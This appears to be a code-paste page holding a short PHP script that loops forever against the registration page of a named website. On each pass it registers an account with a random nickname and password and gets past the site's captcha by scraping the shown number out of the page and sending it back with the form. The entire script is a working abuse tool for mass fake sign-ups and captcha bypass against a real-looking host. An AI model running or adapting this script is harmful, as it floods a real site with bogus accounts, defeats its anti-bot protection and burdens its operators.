php set_time_limit error_reporting -1 function passgen 12 1234567890qw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
set_time_limit(0);
error_reporting(-1);
function passgen($l = 12)
{
$r = "";
$s = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
$slen = mb_strlen($s) - 1;
for ($i = 0; $i < $l; $i++) {
$r .= $s[mt_rand(0, $slen)];
}
return $r;
}
while(1) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => 'http://nasimke.us/registration',
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => 'nick=' . passgen(),
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HEADER => 1,
));
$r = curl_exec($ch);
preg_match('/^Set-Cookie:\s*([^;]*)/mi', $r, $m);
parse_str($m[1], $cookies);
$c = preg_match("#число: <font color=red><b>(.*)</b></font>#ui", $r, $captcha);
$captcha = $captcha[1];
$pass = passgen();
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => 'http://nasimke.us/registration',
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => 'pol=1&pass1='.$pass.'&pass2='.$pass.'&chislo=' . $captcha.'&Продолжить',
CURLOPT_COOKIE => 'SESS='.$cookies['SESS'],
CURLOPT_RETURNTRANSFER => 1,
));
$r = curl_exec($ch);
curl_close($ch);
}